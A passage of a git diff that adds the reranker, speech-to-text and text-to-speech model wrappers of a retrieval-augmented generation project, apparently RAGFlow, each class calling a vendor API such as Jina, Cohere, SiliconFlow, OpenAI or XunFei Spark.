texts: list): + pairs = [(query, truncate(t, 2048)) for t in texts] + token_count = 0 + for _, t in pairs: + token_count += num_tokens_from_string(t) + batch_size = 4096 + res = self._process_batch(pairs, max_batch_size=batch_size) + return np.array(res), token_count + + +class JinaRerank(Base): + _FACTORY_NAME = "Jina" + + def __init__(self, key, model_name="jina-reranker-v2-base-multilingual", base_url="https://api.jina.ai/v1/rerank"): + self.base_url = "https://api.jina.ai/v1/rerank" + self.headers = {"Content-Type": "application/json", "Authorization": f"Bearer {key}"} + self.model_name = model_name + + def similarity(self, query: str, texts: list): + texts = [truncate(t, 8196) for t in texts] + data = {"model": self.model_name, "query": query, "documents": texts, "top_n": len(texts)} + res = requests.post(self.base_url, headers=self.headers, json=data).json() + rank = np.zeros(len(texts), dtype=float) + try: + for d in res["results"]: + rank[d["index"]] = d["relevance_score"] + except Exception as _e: + log_exception(_e, res) + return rank, self.total_token_count(res) + + +class YoudaoRerank(DefaultRerank): + _FACTORY_NAME = "Youdao" + _model = None + _model_lock = threading.Lock() + + def __init__(self, key=None, model_name="maidalun1020/bce-reranker-base_v1", **kwargs): + if not settings.LIGHTEN and not YoudaoRerank._model: + from BCEmbedding import RerankerModel + + with YoudaoRerank._model_lock: + if not YoudaoRerank._model: + try: + YoudaoRerank._model = RerankerModel(model_name_or_path=os.path.join(get_home_cache_dir(), re.sub(r"^[a-zA-Z0-9]+/", "", model_name))) + except Exception: + YoudaoRerank._model = RerankerModel(model_name_or_path=model_name.replace("maidalun1020", "InfiniFlow")) + + self._model = YoudaoRerank._model + self._dynamic_batch_size = 8 + self._min_batch_size = 1 + + def similarity(self, query: str, texts: list): + pairs = [(query, truncate(t, self._model.max_length)) for t in texts] + token_count = 0 + for _, t in pairs: + token_count += num_tokens_from_string(t) + batch_size = 8 + res = self._process_batch(pairs, max_batch_size=batch_size) + return np.array(res), token_count + + +class XInferenceRerank(Base): + _FACTORY_NAME = "Xinference" + + def __init__(self, key="x", model_name="", base_url=""): + if base_url.find("/v1") == -1: + base_url = urljoin(base_url, "/v1/rerank") + if base_url.find("/rerank") == -1: + base_url = urljoin(base_url, "/v1/rerank") + self.model_name = model_name + self.base_url = base_url + self.headers = {"Content-Type": "application/json", "accept": "application/json"} + if key and key != "x": + self.headers["Authorization"] = f"Bearer {key}" + + def similarity(self, query: str, texts: list): + if len(texts) == 0: + return np.array([]), 0 + pairs = [(query, truncate(t, 4096)) for t in texts] + token_count = 0 + for _, t in pairs: + token_count += num_tokens_from_string(t) + data = {"model": self.model_name, "query": query, "return_documents": "true", "return_len": "true", "documents": texts} + res = requests.post(self.base_url, headers=self.headers, json=data).json() + rank = np.zeros(len(texts), dtype=float) + try: + for d in res["results"]: + rank[d["index"]] = d["relevance_score"] + except Exception as _e: + log_exception(_e, res) + return rank, token_count + + +class LocalAIRerank(Base): + _FACTORY_NAME = "LocalAI" + + def __init__(self, key, model_name, base_url): + if base_url.find("/rerank") == -1: + self.base_url = urljoin(base_url, "/rerank") + else: + self.base_url = base_url + self.headers = {"Content-Type": "application/json", "Authorization": f"Bearer {key}"} + self.model_name = model_name.split("___")[0] + + def similarity(self, query: str, texts: list): + # noway to config Ragflow , use fix setting + texts = [truncate(t, 500) for t in texts] + data = { + "model": self.model_name, + "query": query, + "documents": texts, + "top_n": len(texts), + } + token_count = 0 + for t in texts: + token_count += num_tokens_from_string(t) + res = requests.post(self.base_url, headers=self.headers, json=data).json() + rank = np.zeros(len(texts), dtype=float) + try: + for d in res["results"]: + rank[d["index"]] = d["relevance_score"] + except Exception as _e: + log_exception(_e, res) + + # Normalize the rank values to the range 0 to 1 + min_rank = np.min(rank) + max_rank = np.max(rank) + + # Avoid division by zero if all ranks are identical + if not np.isclose(min_rank, max_rank, atol=1e-3): + rank = (rank - min_rank) / (max_rank - min_rank) + else: + rank = np.zeros_like(rank) + + return rank, token_count + + +class NvidiaRerank(Base): + _FACTORY_NAME = "NVIDIA" + + def __init__(self, key, model_name, base_url="https://ai.api.nvidia.com/v1/retrieval/nvidia/"): + if not base_url: + base_url = "https://ai.api.nvidia.com/v1/retrieval/nvidia/" + self.model_name = model_name + + if self.model_name == "nvidia/nv-rerankqa-mistral-4b-v3": + self.base_url = urljoin(base_url, "nv-rerankqa-mistral-4b-v3/reranking") + + if self.model_name == "nvidia/rerank-qa-mistral-4b": + self.base_url = urljoin(base_url, "reranking") + self.model_name = "nv-rerank-qa-mistral-4b:1" + + self.headers = { + "accept": "application/json", + "Content-Type": "application/json", + "Authorization": f"Bearer {key}", + } + + def similarity(self, query: str, texts: list): + token_count = num_tokens_from_string(query) + sum([num_tokens_from_string(t) for t in texts]) + data = { + "model": self.model_name, + "query": {"text": query}, + "passages": [{"text": text} for text in texts], + "truncate": "END", + "top_n": len(texts), + } + res = requests.post(self.base_url, headers=self.headers, json=data).json() + rank = np.zeros(len(texts), dtype=float) + try: + for d in res["rankings"]: + rank[d["index"]] = d["logit"] + except Exception as _e: + log_exception(_e, res) + return rank, token_count + + +class LmStudioRerank(Base): + _FACTORY_NAME = "LM-Studio" + + def __init__(self, key, model_name, base_url, **kwargs): + pass + + def similarity(self, query: str, texts: list): + raise NotImplementedError("The LmStudioRerank has not been implement") + + +class OpenAI_APIRerank(Base): + _FACTORY_NAME = "OpenAI-API-Compatible" + + def __init__(self, key, model_name, base_url): + if base_url.find("/rerank") == -1: + self.base_url = urljoin(base_url, "/rerank") + else: + self.base_url = base_url + self.headers = {"Content-Type": "application/json", "Authorization": f"Bearer {key}"} + self.model_name = model_name.split("___")[0] + + def similarity(self, query: str, texts: list): + # noway to config Ragflow , use fix setting + texts = [truncate(t, 500) for t in texts] + data = { + "model": self.model_name, + "query": query, + "documents": texts, + "top_n": len(texts), + } + token_count = 0 + for t in texts: + token_count += num_tokens_from_string(t) + res = requests.post(self.base_url, headers=self.headers, json=data).json() + rank = np.zeros(len(texts), dtype=float) + try: + for d in res["results"]: + rank[d["index"]] = d["relevance_score"] + except Exception as _e: + log_exception(_e, res) + + # Normalize the rank values to the range 0 to 1 + min_rank = np.min(rank) + max_rank = np.max(rank) + + # Avoid division by zero if all ranks are identical + if not np.isclose(min_rank, max_rank, atol=1e-3): + rank = (rank - min_rank) / (max_rank - min_rank) + else: + rank = np.zeros_like(rank) + + return rank, token_count + + +class CoHereRerank(Base): + _FACTORY_NAME = ["Cohere", "VLLM"] + + def __init__(self, key, model_name, base_url=None): + from cohere import Client + + self.client = Client(api_key=key, base_url=base_url) + self.model_name = model_name.split("___")[0] + + def similarity(self, query: str, texts: list): + token_count = num_tokens_from_string(query) + sum([num_tokens_from_string(t) for t in texts]) + res = self.client.rerank( + model=self.model_name, + query=query, + documents=texts, + top_n=len(texts), + return_documents=False, + ) + rank = np.zeros(len(texts), dtype=float) + try: + for d in res.results: + rank[d.index] = d.relevance_score + except Exception as _e: + log_exception(_e, res) + return rank, token_count + + +class TogetherAIRerank(Base): + _FACTORY_NAME = "TogetherAI" + + def __init__(self, key, model_name, base_url, **kwargs): + pass + + def similarity(self, query: str, texts: list): + raise NotImplementedError("The api has not been implement") + + +class SILICONFLOWRerank(Base): + _FACTORY_NAME = "SILICONFLOW" + + def __init__(self, key, model_name, base_url="https://api.siliconflow.cn/v1/rerank"): + if not base_url: + base_url = "https://api.siliconflow.cn/v1/rerank" + self.model_name = model_name + self.base_url = base_url + self.headers = { + "accept": "application/json", + "content-type": "application/json", + "authorization": f"Bearer {key}", + } + + def similarity(self, query: str, texts: list): + payload = { + "model": self.model_name, + "query": query, + "documents": texts, + "top_n": len(texts), + "return_documents": False, + "max_chunks_per_doc": 1024, + "overlap_tokens": 80, + } + response = requests.post(self.base_url, json=payload, headers=self.headers).json() + rank = np.zeros(len(texts), dtype=float) + try: + for d in response["results"]: + rank[d["index"]] = d["relevance_score"] + except Exception as _e: + log_exception(_e, response) + return ( + rank, + response["meta"]["tokens"]["input_tokens"] + response["meta"]["tokens"]["output_tokens"], + ) + + +class BaiduYiyanRerank(Base): + _FACTORY_NAME = "BaiduYiyan" + + def __init__(self, key, model_name, base_url=None): + from qianfan.resources import Reranker + + key = json.loads(key) + ak = key.get("yiyan_ak", "") + sk = key.get("yiyan_sk", "") + self.client = Reranker(ak=ak, sk=sk) + self.model_name = model_name + + def similarity(self, query: str, texts: list): + res = self.client.do( + model=self.model_name, + query=query, + documents=texts, + top_n=len(texts), + ).body + rank = np.zeros(len(texts), dtype=float) + try: + for d in res["results"]: + rank[d["index"]] = d["relevance_score"] + except Exception as _e: + log_exception(_e, res) + return rank, self.total_token_count(res) + + +class VoyageRerank(Base): + _FACTORY_NAME = "Voyage AI" + + def __init__(self, key, model_name, base_url=None): + import voyageai + + self.client = voyageai.Client(api_key=key) + self.model_name = model_name + + def similarity(self, query: str, texts: list): + if not texts: + return np.array([]), 0 + rank = np.zeros(len(texts), dtype=float) + + res = self.client.rerank(query=query, documents=texts, model=self.model_name, top_k=len(texts)) + try: + for r in res.results: + rank[r.index] = r.relevance_score + except Exception as _e: + log_exception(_e, res) + return rank, res.total_tokens + + +class QWenRerank(Base): + _FACTORY_NAME = "Tongyi-Qianwen" + + def __init__(self, key, model_name="gte-rerank", base_url=None, **kwargs): + import dashscope + + self.api_key = key + self.model_name = dashscope.TextReRank.Models.gte_rerank if model_name is None else model_name + + def similarity(self, query: str, texts: list): + from http import HTTPStatus + + import dashscope + + resp = dashscope.TextReRank.call(api_key=self.api_key, model=self.model_name, query=query, documents=texts, top_n=len(texts), return_documents=False) + rank = np.zeros(len(texts), dtype=float) + if resp.status_code == HTTPStatus.OK: + try: + for r in resp.output.results: + rank[r.index] = r.relevance_score + except Exception as _e: + log_exception(_e, resp) + return rank, resp.usage.total_tokens + else: + raise ValueError(f"Error calling QWenRerank model {self.model_name}: {resp.status_code} - {resp.text}") + + +class HuggingfaceRerank(DefaultRerank): + _FACTORY_NAME = "HuggingFace" + + @staticmethod + def post(query: str, texts: list, url="127.0.0.1"): + exc = None + scores = [0 for _ in range(len(texts))] + batch_size = 8 + for i in range(0, len(texts), batch_size): + try: + res = requests.post( + f"http://{url}/rerank", headers={"Content-Type": "application/json"}, json={"query": query, "texts": texts[i : i + batch_size], "raw_scores": False, "truncate": True} + ) + + for o in res.json(): + scores[o["index"] + i] = o["score"] + except Exception as e: + exc = e + + if exc: + raise exc + return np.array(scores) + + def __init__(self, key, model_name="BAAI/bge-reranker-v2-m3", base_url="http://127.0.0.1"): + self.model_name = model_name.split("___")[0] + self.base_url = base_url + + def similarity(self, query: str, texts: list) -> tuple[np.ndarray, int]: + if not texts: + return np.array([]), 0 + token_count = 0 + for t in texts: + token_count += num_tokens_from_string(t) + return HuggingfaceRerank.post(query, texts, self.base_url), token_count + + +class GPUStackRerank(Base): + _FACTORY_NAME = "GPUStack" + + def __init__(self, key, model_name, base_url): + if not base_url: + raise ValueError("url cannot be None") + + self.model_name = model_name + self.base_url = str(URL(base_url) / "v1" / "rerank") + self.headers = { + "accept": "application/json", + "content-type": "application/json", + "authorization": f"Bearer {key}", + } + + def similarity(self, query: str, texts: list): + payload = { + "model": self.model_name, + "query": query, + "documents": texts, + "top_n": len(texts), + } + + try: + response = requests.post(self.base_url, json=payload, headers=self.headers) + response.raise_for_status() + response_json = response.json() + + rank = np.zeros(len(texts), dtype=float) + + token_count = 0 + for t in texts: + token_count += num_tokens_from_string(t) + try: + for result in response_json["results"]: + rank[result["index"]] = result["relevance_score"] + except Exception as _e: + log_exception(_e, response) + + return ( + rank, + token_count, + ) + + except httpx.HTTPStatusError as e: + raise ValueError(f"Error calling GPUStackRerank model {self.model_name}: {e.response.status_code} - {e.response.text}") + + +class NovitaRerank(JinaRerank): + _FACTORY_NAME = "NovitaAI" + + def __init__(self, key, model_name, base_url="https://api.novita.ai/v3/openai/rerank"): + if not base_url: + base_url = "https://api.novita.ai/v3/openai/rerank" + super().__init__(key, model_name, base_url) + + +class GiteeRerank(JinaRerank): + _FACTORY_NAME = "GiteeAI" + + def __init__(self, key, model_name, base_url="https://ai.gitee.com/v1/rerank"): + if not base_url: + base_url = "https://ai.gitee.com/v1/rerank" + super().__init__(key, model_name, base_url) + + +class Ai302Rerank(Base): + _FACTORY_NAME = "302.AI" + + def __init__(self, key, model_name, base_url="https://api.302.ai/v1/rerank"): + if not base_url: + base_url = "https://api.302.ai/v1/rerank" + super().__init__(key, model_name, base_url) diff --git a/rag/llm/sequence2txt_model.py b/rag/llm/sequence2txt_model.py new file mode 100644 index 0000000..c43a014 --- /dev/null +++ b/rag/llm/sequence2txt_model.py @@ -0,0 +1,255 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import base64 +import io +import json +import os +import re +from abc import ABC + +import requests +from openai import OpenAI +from openai.lib.azure import AzureOpenAI + +from rag.utils import num_tokens_from_string + + +class Base(ABC): + def __init__(self, key, model_name, **kwargs): + """ + Abstract base class constructor. + Parameters are not stored; initialization is left to subclasses. + """ + pass + + def transcription(self, audio_path, **kwargs): + audio_file = open(audio_path, "rb") + transcription = self.client.audio.transcriptions.create(model=self.model_name, file=audio_file) + return transcription.text.strip(), num_tokens_from_string(transcription.text.strip()) + + def audio2base64(self, audio): + if isinstance(audio, bytes): + return base64.b64encode(audio).decode("utf-8") + if isinstance(audio, io.BytesIO): + return base64.b64encode(audio.getvalue()).decode("utf-8") + raise TypeError("The input audio file should be in binary format.") + + +class GPTSeq2txt(Base): + _FACTORY_NAME = "OpenAI" + + def __init__(self, key, model_name="whisper-1", base_url="https://api.openai.com/v1", **kwargs): + if not base_url: + base_url = "https://api.openai.com/v1" + self.client = OpenAI(api_key=key, base_url=base_url) + self.model_name = model_name + + +class QWenSeq2txt(Base): + _FACTORY_NAME = "Tongyi-Qianwen" + + def __init__(self, key, model_name="qwen-audio-asr", **kwargs): + import dashscope + + dashscope.api_key = key + self.model_name = model_name + + def transcription(self, audio_path): + if "paraformer" in self.model_name or "sensevoice" in self.model_name: + return f"**ERROR**: model {self.model_name} is not suppported yet.", 0 + + from dashscope import MultiModalConversation + + audio_path = f"file://{audio_path}" + messages = [ + { + "role": "user", + "content": [{"audio": audio_path}], + } + ] + + response = None + full_content = "" + try: + response = MultiModalConversation.call(model="qwen-audio-asr", messages=messages, result_format="message", stream=True) + for response in response: + try: + full_content += response["output"]["choices"][0]["message"].content[0]["text"] + except Exception: + pass + return full_content, num_tokens_from_string(full_content) + except Exception as e: + return "**ERROR**: " + str(e), 0 + + +class AzureSeq2txt(Base): + _FACTORY_NAME = "Azure-OpenAI" + + def __init__(self, key, model_name, lang="Chinese", **kwargs): + self.client = AzureOpenAI(api_key=key, azure_endpoint=kwargs["base_url"], api_version="2024-02-01") + self.model_name = model_name + self.lang = lang + + +class XinferenceSeq2txt(Base): + _FACTORY_NAME = "Xinference" + + def __init__(self, key, model_name="whisper-small", **kwargs): + self.base_url = kwargs.get("base_url", None) + self.model_name = model_name + self.key = key + + def transcription(self, audio, language="zh", prompt=None, response_format="json", temperature=0.7): + if isinstance(audio, str): + audio_file = open(audio, "rb") + audio_data = audio_file.read() + audio_file_name = audio.split("/")[-1] + else: + audio_data = audio + audio_file_name = "audio.wav" + + payload = {"model": self.model_name, "language": language, "prompt": prompt, "response_format": response_format, "temperature": temperature} + + files = {"file": (audio_file_name, audio_data, "audio/wav")} + + try: + response = requests.post(f"{self.base_url}/v1/audio/transcriptions", files=files, data=payload) + response.raise_for_status() + result = response.json() + + if "text" in result: + transcription_text = result["text"].strip() + return transcription_text, num_tokens_from_string(transcription_text) + else: + return "**ERROR**: Failed to retrieve transcription.", 0 + + except requests.exceptions.RequestException as e: + return f"**ERROR**: {str(e)}", 0 + + +class TencentCloudSeq2txt(Base): + _FACTORY_NAME = "Tencent Cloud" + + def __init__(self, key, model_name="16k_zh", base_url="https://asr.tencentcloudapi.com"): + from tencentcloud.asr.v20190614 import asr_client + from tencentcloud.common import credential + + key = json.loads(key) + sid = key.get("tencent_cloud_sid", "") + sk = key.get("tencent_cloud_sk", "") + cred = credential.Credential(sid, sk) + self.client = asr_client.AsrClient(cred, "") + self.model_name = model_name + + def transcription(self, audio, max_retries=60, retry_interval=5): + import time + + from tencentcloud.asr.v20190614 import models + from tencentcloud.common.exception.tencent_cloud_sdk_exception import ( + TencentCloudSDKException, + ) + + b64 = self.audio2base64(audio) + try: + # dispatch disk + req = models.CreateRecTaskRequest() + params = { + "EngineModelType": self.model_name, + "ChannelNum": 1, + "ResTextFormat": 0, + "SourceType": 1, + "Data": b64, + } + req.from_json_string(json.dumps(params)) + resp = self.client.CreateRecTask(req) + + # loop query + req = models.DescribeTaskStatusRequest() + params = {"TaskId": resp.Data.TaskId} + req.from_json_string(json.dumps(params)) + retries = 0 + while retries < max_retries: + resp = self.client.DescribeTaskStatus(req) + if resp.Data.StatusStr == "success": + text = re.sub(r"\[\d+:\d+\.\d+,\d+:\d+\.\d+\]\s*", "", resp.Data.Result).strip() + return text, num_tokens_from_string(text) + elif resp.Data.StatusStr == "failed": + return ( + "**ERROR**: Failed to retrieve speech recognition results.", + 0, + ) + else: + time.sleep(retry_interval) + retries += 1 + return "**ERROR**: Max retries exceeded. Task may still be processing.", 0 + + except TencentCloudSDKException as e: + return "**ERROR**: " + str(e), 0 + except Exception as e: + return "**ERROR**: " + str(e), 0 + + +class GPUStackSeq2txt(Base): + _FACTORY_NAME = "GPUStack" + + def __init__(self, key, model_name, base_url): + if not base_url: + raise ValueError("url cannot be None") + if base_url.split("/")[-1] != "v1": + base_url = os.path.join(base_url, "v1") + self.base_url = base_url + self.model_name = model_name + self.key = key + + +class GiteeSeq2txt(Base): + _FACTORY_NAME = "GiteeAI" + + def __init__(self, key, model_name="whisper-1", base_url="https://ai.gitee.com/v1/", **kwargs): + if not base_url: + base_url = "https://ai.gitee.com/v1/" + self.client = OpenAI(api_key=key, base_url=base_url) + self.model_name = model_name + + +class DeepInfraSeq2txt(Base): + _FACTORY_NAME = "DeepInfra" + + def __init__(self, key, model_name, base_url="https://api.deepinfra.com/v1/openai", **kwargs): + if not base_url: + base_url = "https://api.deepinfra.com/v1/openai" + + self.client = OpenAI(api_key=key, base_url=base_url) + self.model_name = model_name + + +class CometAPISeq2txt(Base): + _FACTORY_NAME = "CometAPI" + + def __init__(self, key, model_name="whisper-1", base_url="https://api.cometapi.com/v1", **kwargs): + if not base_url: + base_url = "https://api.cometapi.com/v1" + self.client = OpenAI(api_key=key, base_url=base_url) + self.model_name = model_name + +class DeerAPISeq2txt(Base): + _FACTORY_NAME = "DeerAPI" + + def __init__(self, key, model_name="whisper-1", base_url="https://api.deerapi.com/v1", **kwargs): + if not base_url: + base_url = "https://api.deerapi.com/v1" + self.client = OpenAI(api_key=key, base_url=base_url) + self.model_name = model_name diff --git a/rag/llm/tts_model.py b/rag/llm/tts_model.py new file mode 100644 index 0000000..b073016 --- /dev/null +++ b/rag/llm/tts_model.py @@ -0,0 +1,412 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import _thread as thread +import base64 +import hashlib +import hmac +import json +import queue +import re +import ssl +import time +from abc import ABC +from datetime import datetime +from time import mktime +from typing import Annotated, Literal +from urllib.parse import urlencode +from wsgiref.handlers import format_date_time + +import httpx +import ormsgpack +import requests +import websocket +from pydantic import BaseModel, conint + +from rag.utils import num_tokens_from_string + + +class ServeReferenceAudio(BaseModel): + audio: bytes + text: str + + +class ServeTTSRequest(BaseModel): + text: str + chunk_length: Annotated[int, conint(ge=100, le=300, strict=True)] = 200 + # Audio format + format: Literal["wav", "pcm", "mp3"] = "mp3" + mp3_bitrate: Literal[64, 128, 192] = 128 + # References audios for in-context learning + references: list[ServeReferenceAudio] = [] + # Reference id + # For example, if you want use https://fish.audio/m/7f92f8afb8ec43bf81429cc1c9199cb1/ + # Just pass 7f92f8afb8ec43bf81429cc1c9199cb1 + reference_id: str | None = None + # Normalize text for en & zh, this increase stability for numbers + normalize: bool = True + # Balance mode will reduce latency to 300ms, but may decrease stability + latency: Literal["normal", "balanced"] = "normal" + + +class Base(ABC): + def __init__(self, key, model_name, base_url, **kwargs): + """ + Abstract base class constructor. + Parameters are not stored; subclasses should handle their own initialization. + """ + pass + + def tts(self, audio): + pass + + def normalize_text(self, text): + return re.sub(r"(\*\*|##\d+\$\$|#)", "", text) + + +class FishAudioTTS(Base): + _FACTORY_NAME = "Fish Audio" + + def __init__(self, key, model_name, base_url="https://api.fish.audio/v1/tts"): + if not base_url: + base_url = "https://api.fish.audio/v1/tts" + key = json.loads(key) + self.headers = { + "api-key": key.get("fish_audio_ak"), + "content-type": "application/msgpack", + } + self.ref_id = key.get("fish_audio_refid") + self.base_url = base_url + + def tts(self, text): + from http import HTTPStatus + + text = self.normalize_text(text) + request = ServeTTSRequest(text=text, reference_id=self.ref_id) + + with httpx.Client() as client: + try: + with client.stream( + method="POST", + url=self.base_url, + content=ormsgpack.packb(request, option=ormsgpack.OPT_SERIALIZE_PYDANTIC), + headers=self.headers, + timeout=None, + ) as response: + if response.status_code == HTTPStatus.OK: + for chunk in response.iter_bytes(): + yield chunk + else: + response.raise_for_status() + + yield num_tokens_from_string(text) + + except httpx.HTTPStatusError as e: + raise RuntimeError(f"**ERROR**: {e}") + + +class QwenTTS(Base): + _FACTORY_NAME = "Tongyi-Qianwen" + + def __init__(self, key, model_name, base_url=""): + import dashscope + + self.model_name = model_name + dashscope.api_key = key + + def tts(self, text): + from collections import deque + + from dashscope.api_entities.dashscope_response import SpeechSynthesisResponse + from dashscope.audio.tts import ResultCallback, SpeechSynthesisResult, SpeechSynthesizer + + class Callback(ResultCallback): + def __init__(self) -> None: + self.dque = deque() + + def _run(self): + while True: + if not self.dque: + time.sleep(0) + continue + val = self.dque.popleft() + if val: + yield val + else: + break + + def on_open(self): + pass + + def on_complete(self): + self.dque.append(None) + + def on_error(self, response: SpeechSynthesisResponse): + raise RuntimeError(str(response)) + + def on_close(self): + pass + + def on_event(self, result: SpeechSynthesisResult): + if result.get_audio_frame() is not None: + self.dque.append(result.get_audio_frame()) + + text = self.normalize_text(text) + callback = Callback() + SpeechSynthesizer.call(model=self.model_name, text=text, callback=callback, format="mp3") + try: + for data in callback._run(): + yield data + yield num_tokens_from_string(text) + + except Exception as e: + raise RuntimeError(f"**ERROR**: {e}") + + +class OpenAITTS(Base): + _FACTORY_NAME = "OpenAI" + + def __init__(self, key, model_name="tts-1", base_url="https://api.openai.com/v1"): + if not base_url: + base_url = "https://api.openai.com/v1" + self.api_key = key + self.model_name = model_name + self.base_url = base_url + self.headers = {"Authorization": f"Bearer {self.api_key}", "Content-Type": "application/json"} + + def tts(self, text, voice="alloy"): + text = self.normalize_text(text) + payload = {"model": self.model_name, "voice": voice, "input": text} + + response = requests.post(f"{self.base_url}/audio/speech", headers=self.headers, json=payload, stream=True) + + if response.status_code != 200: + raise Exception(f"**Error**: {response.status_code}, {response.text}") + for chunk in response.iter_content(): + if chunk: + yield chunk + + +class SparkTTS(Base): + _FACTORY_NAME = "XunFei Spark" + STATUS_FIRST_FRAME = 0 + STATUS_CONTINUE_FRAME = 1 + STATUS_LAST_FRAME = 2 + + def __init__(self, key, model_name, base_url=""): + key = json.loads(key) + self.APPID = key.get("spark_app_id", "xxxxxxx") + self.APISecret = key.get("spark_api_secret", "xxxxxxx") + self.APIKey = key.get("spark_api_key", "xxxxxx") + self.model_name = model_name + self.CommonArgs = {"app_id": self.APPID} + self.audio_queue = queue.Queue() + + # 用来存储音频数据 + + # 生成url + def create_url(self): + url = "wss://tts-api.xfyun.cn/v2/tts" + now = datetime.now() + date = format_date_time(mktime(now.timetuple())) + signature_origin = "host: " + "ws-api.xfyun.cn" + "\n" + signature_origin += "date: " + date + "\n" + signature_origin += "GET " + "/v2/tts " + "HTTP/1.1" + signature_sha = hmac.new(self.APISecret.encode("utf-8"), signature_origin.encode("utf-8"), digestmod=hashlib.sha256).digest() + signature_sha = base64.b64encode(signature_sha).decode(encoding="utf-8") + authorization_origin = 'api_key="%s", algorithm="%s", headers="%s", signature="%s"' % (self.APIKey, "hmac-sha256", "host date request-line", signature_sha) + authorization = base64.b64encode(authorization_origin.encode("utf-8")).decode(encoding="utf-8") + v = {"authorization": authorization, "date": date, "host": "ws-api.xfyun.cn"} + url = url + "?" + urlencode(v) + return url + + def tts(self, text): + BusinessArgs = {"aue": "lame", "sfl": 1, "auf": "audio/L16;rate=16000", "vcn": self.model_name, "tte": "utf8"} + Data = {"status": 2, "text": base64.b64encode(text.encode("utf-8")).decode("utf-8")} + CommonArgs = {"app_id": self.APPID} + audio_queue = self.audio_queue + model_name = self.model_name + + class Callback: + def __init__(self): + self.audio_queue = audio_queue + + def on_message(self, ws, message): + message = json.loads(message) + code = message["code"] + sid = message["sid"] + audio = message["data"]["audio"] + audio = base64.b64decode(audio) + status = message["data"]["status"] + if status == 2: + ws.close() + if code != 0: + errMsg = message["message"] + raise Exception(f"sid:{sid} call error:{errMsg} code:{code}") + else: + self.audio_queue.put(audio) + + def on_error(self, ws, error): + raise Exception(error) + + def on_close(self, ws, close_status_code, close_msg): + self.audio_queue.put(None) # 放入 None 作为结束标志 + + def on_open(self, ws): + def run(*args): + d = {"common": CommonArgs, "business": BusinessArgs, "data": Data} + ws.send(json.dumps(d)) + + thread.start_new_thread(run, ()) + + wsUrl = self.create_url() + websocket.enableTrace(False) + a = Callback() + ws = websocket.WebSocketApp(wsUrl, on_open=a.on_open, on_error=a.on_error, on_close=a.on_close, on_message=a.on_message) + status_code = 0 + ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE}) + while True: + audio_chunk = self.audio_queue.get() + if audio_chunk is None: + if status_code == 0: + raise Exception(f"Fail to access model({model_name}) using the provided credentials. **ERROR**: Invalid APPID, API Secret, or API Key.") + else: + break + status_code = 1 + yield audio_chunk + + +class XinferenceTTS(Base): + _FACTORY_NAME = "Xinference" + + def __init__(self, key, model_name, **kwargs): + self.base_url = kwargs.get("base_url", None) + self.model_name = model_name + self.headers = {"accept": "application/json", "Content-Type": "application/json"} + + def tts(self, text, voice="中文女", stream=True): + payload = {"model": self.model_name, "input": text, "voice": voice} + + response = requests.post(f"{self.base_url}/v1/audio/speech", headers=self.headers, json=payload, stream=stream) + + if response.status_code != 200: + raise Exception(f"**Error**: {response.status_code}, {response.text}") + + for chunk in response.iter_content(chunk_size=1024): + if chunk: + yield chunk + + +class OllamaTTS(Base): + def __init__(self, key, model_name="ollama-tts", base_url="https://api.ollama.ai/v1"): + if not base_url: + base_url = "https://api.ollama.ai/v1" + self.model_name = model_name + self.base_url = base_url + self.headers = {"Content-Type": "application/json"} + if key and key != "x": + self.headers["Authorization"] = f"Bearer {key}" + + def tts(self, text, voice="standard-voice"): + payload = {"model": self.model_name, "voice": voice, "input": text} + + response = requests.post(f"{self.base_url}/audio/tts", headers=self.headers, json=payload, stream=True) + + if response.status_code != 200: + raise Exception(f"**Error**: {response.status_code}, {response.text}") + + for chunk in response.iter_content(): + if chunk: + yield chunk + + +class GPUStackTTS(Base): + _FACTORY_NAME = "GPUStack" + + def __init__(self, key, model_name, **kwargs): + self.base_url = kwargs.get("base_url", None) + self.api_key = key + self.model_name = model_name + self.headers = {"accept": "application/json", "Content-Type": "application/json", "Authorization": f"Bearer {self.api_key}"} + + def tts(self, text, voice="Chinese Female", stream=True): + payload = {"model": self.model_name, "input": text, "voice": voice} + + response = requests.post(f"{self.base_url}/v1/audio/speech", headers=self.headers, json=payload, stream=stream) + + if response.status_code != 200: + raise Exception(f"**Error**: {response.status_code}, {response.text}") + + for chunk in response.iter_content(chunk_size=1024): + if chunk: + yield chunk + + +class SILICONFLOWTTS(Base): + _FACTORY_NAME = "SILICONFLOW" + + def __init__(self, key, model_name="FunAudioLLM/CosyVoice2-0.5B", base_url="https://api.siliconflow.cn/v1"): + if not base_url: + base_url = "https://api.siliconflow.cn/v1" + self.api_key = key + self.model_name = model_name + self.base_url = base_url + self.headers = {"Authorization": f"Bearer {self.api_key}", "Content-Type": "application/json"} + + def tts(self, text, voice="anna"): + text = self.normalize_text(text) + payload = { + "model": self.model_name, + "input": text, + "voice": f"{self.model_name}:{voice}", + "response_format": "mp3", + "sample_rate": 123, + "stream": True, + "speed": 1, + "gain": 0, + } + + response = requests.post(f"{self.base_url}/audio/speech", headers=self.headers, json=payload) + + if response.status_code != 200: + raise Exception(f"**Error**: {response.status_code}, {response.text}") + for chunk in response.iter_content(): + if chunk: + yield chunk + +class DeepInfraTTS(OpenAITTS): + _FACTORY_NAME = "DeepInfra" + + def __init__(self, key, model_name, base_url="https://api.deepinfra.com/v1/openai", **kwargs): + if not base_url: + base_url = "https://api.deepinfra.com/v1/openai" + super().__init__(key, model_name, base_url, **kwargs) + +class CometAPITTS(OpenAITTS): + _FACTORY_NAME = "CometAPI" + + def __init__(self, key, model_name, base_url="https://api.cometapi.com/v1", **kwargs): + if not base_url: + base_url = "https://api.cometapi.com/v1" + super().__init__(key, model_name, base_url, **kwargs) + +class DeerAPITTS(OpenAITTS): + 